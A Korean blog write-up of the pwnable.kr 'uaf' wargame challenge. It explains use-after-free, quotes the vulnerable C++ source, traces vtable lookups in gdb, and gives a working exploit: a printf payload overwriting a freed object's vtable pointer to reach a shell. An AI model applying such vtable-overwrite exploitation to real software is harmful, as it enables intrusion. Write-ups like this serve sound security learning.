Notice
Recent Posts
Recent Comments
Link
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Archives
Today
Total
관리 메뉴

White Security

Uaf 문제풀이 본문

Wargame Writeups/pwnable.kr

Uaf 문제풀이

POSIX 2019. 2. 19. 12:19


Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)


Toddler's Bottle 16번 문제


Use After Free 라는 메모리 참조

취약점을 다루는 문제입니다.



Use After Free 줄여서 UAF 취약점은

동일한 메모리 영역을 재할당하게 됨으로써 발생하는데요.


해제과정을 거친 메모리에 접근하게 되면

세그먼트 폴트 에러가 발생하는데

동일한 부분을 재할당하여 다른 데이터를 채워넣는 것으로

의도치 못한 동작을 야기할 수 있습니다.


#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}


소스를 살펴보면

Human 클래스에서 상속받는

Man, Woman 클래스가 존재하고

Human 클래스 멤버함수 중에는

system 함수를 통해 쉘을 부여해주는

give_shell 함수가 존재합니다.


그리고 사용자 입력을 받아

자유롭게 use after free 과정을 수행할 수 있고

use 과정 내에서 멤버함수인

introduce를 호출하는데


이를 조작하여

give_shell 함수를 호출하도록 하면 되겠네요.


0x0000000000400fcd <+265>:   mov    rax,QWORD PTR [rbp-0x38]			    ; case 1
0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax]
0x0000000000400fd4 <+272>:   add    rax,0x8
0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>:   mov    rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>:   mov    rdi,rax
0x0000000000400fe2 <+286>:   call   rdx									; m->introduce()
0x0000000000400fe4 <+288>:   mov    rax,QWORD PTR [rbp-0x30]
0x0000000000400fe8 <+292>:   mov    rax,QWORD PTR [rax]
0x0000000000400feb <+295>:   add    rax,0x8
0x0000000000400fef <+299>:   mov    rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>:   mov    rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>:   mov    rdi,rax
0x0000000000400ff9 <+309>:   call   rdx									; w->introduce()
0x0000000000400ffb <+311>:   jmp    0x4010a9 <main+485>


gdb에서 어셈블리로 변환하여 살피면

rbp-0x38 에 저장된 주소에서

다시 저장된 주소를 이중으로 참조하여

주소에 8을 더하여 호출합니다.


주소를 가져오는 과정을

실제로 살펴보겠습니다.


(gdb) b *main+265
Breakpoint 1 at 0x400fcd
(gdb) r
Starting program: /home/uaf/uaf
1. use
2. after
3. free
1

Breakpoint 1, 0x0000000000400fcd in main ()
(gdb) x/a $rbp-0x38
0x7ffec6e7b388: 0x1391c50
(gdb) x/a 0x1391c50
0x1391c50:      0x401570 <_ZTV3Man+16>
(gdb) x/a 0x401570
0x401570 <_ZTV3Man+16>: 0x40117a <_ZN5Human10give_shellEv>
(gdb) x/a 0x401570 + 0x8
0x401578 <_ZTV3Man+24>: 0x4012d2 <_ZN3Man9introduceEv>


case 1 의 앞부분에 브레이크 포인트를 걸어준 후 이동해서

rbp-0x38 을 확인하니 0x1391c50 이 나왔고

다시 참조하니 0x401570 이 나왔습니다.


0x401570이 우리의 목표인 give_shell 함수 주소인데

거기에서 8을 더하여 호출하니

0x401578 내의 introduce 함수가 호출되는 것입니다.


0x401570 - 0x8 = 0x401568


8을 더하는 것은 확정된 사항이므로

참조 주소를 0x401570 에서 8을 뺀

0x401568 으로 변경해 주면 되겠습니다.


case 2:
		len = atoi(argv[1]);
		data = new char[len];
		read(open(argv[2], O_RDONLY), data, len);
		cout << "your data is allocated" << endl;
		break;


case 2 를 확인해보면

바이너리 실행시의 인자를 통해

할당할 메모리 크기와

내용을 읽어올 파일을 자유롭게

지정할 수 있도록 하고 있습니다.


python -c "print 'a'*500" > /tmp/input

b *main+65 		; new Man("Jack", 25)
b *main+154 		; new Woman("Jill", 21);
b *main+353 		; new char[len]


따라서 tmp 폴더 내의 편한 경로에

할당한 공간이라는 것을

구분할 수 있도록 적절히 내용을 저장해 두고


메모리를 할당하는 new 함수 수행 직후에

브레이크 포인트를 걸어

실제로 할당된 주소가 어디인지 확인할 수 있도록 했습니다.


(gdb) r 100 /tmp/input
Starting program: /home/uaf/uaf 100 /tmp/input

Breakpoint 1, 0x0000000000400f05 in main ()
(gdb) i r eax
eax            0xa40c50 10751056                            ; new Man

(gdb) c
Continuing.

Breakpoint 4, 0x0000000000400f63 in main ()
(gdb) i r eax
eax            0xa40ca0 10751136                            ; new Woman

(gdb) c
Continuing.

1. use
2. after
3. free
3
1. use
2. after
3. free
2

Breakpoint 2, 0x0000000000401025 in main ()
(gdb) i r eax
eax            0xa414e0 10753248                            ; new char[len]


메모리를 해제해 준 후

100 바이트의 메모리를 할당했는데


해제한 객체의 외부 주소가 할당되었습니다.

이런 경우, 할당 메모리 크기를 조금씩 조정해주면

직전 해제한 메모리 영역에 접근할 수 있습니다.


(gdb) r 24 /tmp/input
Starting program: /home/uaf/uaf 24 /tmp/input

Breakpoint 1, 0x0000000000400f05 in main ()
(gdb) i r eax
eax            0x246bc50        38190160

(gdb) c
Continuing.

Breakpoint 4, 0x0000000000400f63 in main ()
(gdb) i r eax
eax            0x246bca0        38190240

(gdb) c
Continuing.

1. use
2. after
3. free
3
1. use
2. after
3. free
2

Breakpoint 2, 0x0000000000401025 in main ()
(gdb) i r eax
eax            0x246bca0        38190240

(gdb) c
Continuing.

your data is allocated
1. use
2. after
3. free
2

Breakpoint 2, 0x0000000000401025 in main ()
(gdb) i r eax
eax            0x246bc50        38190160


확인 결과 24 바이트 이하의 메모리를 할당하면

해제된 w의 영역을 얻을 수 있었습니다.


그리고 재차 할당해주면

m의 영역을 가져옵니다.


uaf@ubuntu:~$ printf "\x68\x15\x40\x00" > /tmp/input
uaf@ubuntu:~$ ./uaf 4 /tmp/input
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag  uaf  uaf.cpp
$ cat flag
###_####_#####_######


give_shell 함수의 주소에서 8을 뺀

0x00401568 주소로 덮어씌우고 introduce 를 호출하여

쉘을 얻어낼 수 있었습니다.

'Wargame Writeups > pwnable.kr' 카테고리의 다른 글

Cmd2 문제풀이  (0) 2019.02.11
Cmd1 문제풀이  (0) 2019.02.10
Lotto 문제풀이  (0) 2019.02.10
Blackjack 문제풀이  (0) 2019.02.10
Coin1 문제풀이  (0) 2019.02.09
Comments